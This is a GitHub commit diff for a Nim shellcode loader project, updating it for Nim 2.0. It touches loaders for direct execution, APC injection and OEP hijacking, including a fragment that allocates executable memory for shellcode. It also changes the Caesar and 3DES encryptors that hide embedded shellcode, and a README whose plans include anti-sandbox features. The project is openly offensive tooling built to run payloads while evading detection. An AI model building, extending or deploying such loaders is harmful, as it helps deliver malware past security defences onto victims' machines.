Skip to content

Commit b07246a

Browse files
committed
支持nim2.0版本
1 parent 98b44b8 commit b07246a

8 files changed

+60
-23
lines changed

.gitignore

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# Created by https://www.toptal.com/developers/gitignore/api/nim
2+
# Edit at https://www.toptal.com/developers/gitignore?templates=nim
3+
4+
### Nim ###
5+
nimcache/
6+
nimblecache/
7+
htmldocs/
8+
.idea/
9+
*.exe
10+
# End of https://www.toptal.com/developers/gitignore/api/nim

APC_Ijnect_Load.nim

+1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import public
22

33
{.emit: """
4+
#include <windows.h>
45
#include <vector>
56
#include <TlHelp32.h>
67

Direct_Load.nim

+5
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
11
import public
22

33
{.emit: """
4+
#include <windows.h>
5+
#include <iostream>
6+
#include <iomanip>
7+
8+
49
int Direct_Load(char *shellcode,SIZE_T shellcodeSize)
510
{
611
LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

OEP_Hiijack_Inject_Load.nim

+2-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
import public
33

44
{.emit: """
5-
#include<winternl.h>
5+
#include <windows.h>
6+
#include <winternl.h>
67
78
int OEP(char *shellcode,SIZE_T shellcodeSize)
89
{

README.md

+12-5
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@
44
![codeloader](pic/codeloader.png)
55
## 更新:
66

7+
**20230826:支持nim的v2.0版本,去除base64编码,减小文件生成体积**
8+
79
**20220620:Fix Bug!增加2种加载`shellcode`方式**
810

911
**20220203:Fix Bug!增加14种加载`shellcode`方式,nim version>=1.6.2**
@@ -31,12 +33,15 @@
3133
## 安装:
3234

3335
**1、安装`nim`最新版**
36+
-[下载页面](https://nim-lang.org/install_windows.html),分别下载nim的安装包和编译器mingw64,将两者解压到任意目录,分别将两个文件夹里面的bin文件夹路径添加到path环境变量中
37+
- 打开命令行,输入nim回车,输入gcc或g++回车,返回正常即可之后正常使用nim来编译程序
38+
- 需要安装[winim](https://github.com/khchen/winim)
3439

3540
**2、下载本项目,分别编译`encryption`中的`Tdea.nim``Caesar.nim`**
3641

37-
`nim c -d:release --opt:size Tdea.nim`
42+
`nim c -d:release -d:strip --opt:size Tdea.nim`
3843

39-
`nim c -d:release --opt:size Caesar.nim`
44+
`nim c -d:release -d:strip --opt:size Caesar.nim`
4045

4146
**3、编译c#项目,将可执行文件放到当前目录**
4247

@@ -80,8 +85,10 @@ https://github.com/S4R1N/AlternativeShellcodeExec
8085

8186
## TODO:
8287

83-
- 增加更多的加载方式
88+
- [ ] 添加图标自定义功能
89+
90+
- [ ] 增加更多的加载方式
8491

85-
- 增加反沙箱等功能
92+
- [ ] 增加反沙箱等功能
8693

87-
- 增加加密方式
94+
- [ ] 增加加密方式

encryption/Caesar.nim

+9-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
1+
#[
2+
compile this with following nim command:
3+
nim c -d:release -d:strip --opt:size Caesar.nim
4+
]#
5+
16
import sequtils
27
import random,os
3-
import base64
8+
import strutils
49

510
var dict = toSeq(0..255).mapIt(it.uint8)
611
randomize()
@@ -12,5 +17,6 @@ for i in 0..high(entireFile):
1217
for k in 0..high(dict):
1318
if entireFile[i] == dict[k]:
1419
finallTable[i] = k.uint8
15-
let result = encode(concat(dict,finallTable))
16-
echo result
20+
for i in concat(dict,finallTable):
21+
stdout.write i.uint8.toHex
22+
stdout.flushFile()

encryption/Tdea.nim

+13-6
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,28 @@
11
{.compile: "des.c".}
22
proc D3DES_Encrypt(plainBuffer:cstring,keyBuffer:cstring,cipherBuffer:cstring,n:cint):cint {.importc,cdecl.}
3+
#[
4+
compile this with following nim command:
5+
nim c -d:release -d:strip --opt:size Tdea.nim
6+
]#
37

4-
import random,sequtils,os,base64
8+
import random,sequtils,os
9+
import strutils
510

611
randomize()
7-
var key:cstring
12+
var key:string
813
for i in 0..23:
9-
key = $key & (rand(254)+1).char
14+
key.add((rand(254)+1).char)
1015
let entireFile = cast[string](readFile(paramStr(1)))
1116
let plainBuffer :cstring = entireFile
1217
let out_len = ((entireFile.len / 8 + 1).int*8)
1318
var cipherBuffer = cast[cstring](alloc0(out_len))
14-
discard D3DES_Encrypt(plainBuffer,key,cipherBuffer,cast[cint](entireFile.len))
19+
discard D3DES_Encrypt(plainBuffer,key.string,cipherBuffer,cast[cint](entireFile.len))
1520

1621

17-
let plain_len_byte = cast[array[2,byte]](entireFile.len)
22+
let plain_len_byte = cast[array[4,byte]](entireFile.len)
1823
var result = newSeq[byte]()
1924
for index in 0..(out_len-1):
2025
result.add(cipherBuffer[index].byte)
21-
echo encode(concat(@plain_len_byte,key.mapIt(it.byte),result))
26+
for i in concat(@plain_len_byte,key.mapIt(it.byte),result):
27+
stdout.write i.uint8.toHex
28+
stdout.flushFile()

public.nim

+8-8
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
{.passL:"-static"}
22
# {.hint[XDeclaredButNotUsed]:off.}
33
# {.passL:"-D:_WIN32_WINNT=0x0602"}
4-
{.compile: "encryption\\des.c".}
5-
import base64
4+
import strutils
65

76
const source {.strdefine.}: string = ""
87
var code*:cstring
@@ -12,7 +11,7 @@ const currsource:string = "\"" & source & "\""
1211
when defined(Caesar):
1312
import sequtils
1413
proc caesar(result:string): void =
15-
let decodres = decode(result)
14+
let decodres = parseHexStr(result)
1615
let dic = decodres[0..255].mapIt(it.byte)
1716
let table = decodres[256..high(decodres)].mapIt(it.byte)
1817
var deshellcode = newSeq[uint8](table.len)
@@ -27,14 +26,15 @@ when defined(Caesar):
2726
caesar(enbase64)
2827

2928
elif defined(TDEA):
29+
{.compile: "encryption\\des.c".}
3030
proc D3DES_Decrypt(plainBuffer:cstring,keyBuffer:cstring,cipherBuffer:cstring,n:cint):cint {.importc,cdecl.}
3131
proc de3des(enbase64:string): void =
32-
let shellcode:string = decode(enbase64)
33-
let plain_len_byte = cast[int16]([shellcode[0],shellcode[1]])
34-
let input_encode:cstring = cstring(shellcode[26..high(shellcode)])
35-
let key:cstring = cstring(shellcode[2..25])
32+
let shellcode:string = parseHexStr(enbase64)
33+
let plain_len_byte = cast[uint32]([shellcode[0],shellcode[1],shellcode[2],shellcode[3]])
34+
let input_encode:cstring = cstring(shellcode[28..high(shellcode)])
35+
let key:cstring = cstring(shellcode[4..27])
3636
code = cast[cstring](alloc0(plain_len_byte));
3737
discard D3DES_Decrypt(input_encode,key,code,cast[cint](plain_len_byte))
38-
codelen = plain_len_byte
38+
codelen = cast[cint](plain_len_byte)
3939
const enbase64 = staticExec("encryption\\Tdea.exe " & currsource)
4040
de3des(enbase64)

0 commit comments

Comments
 (0)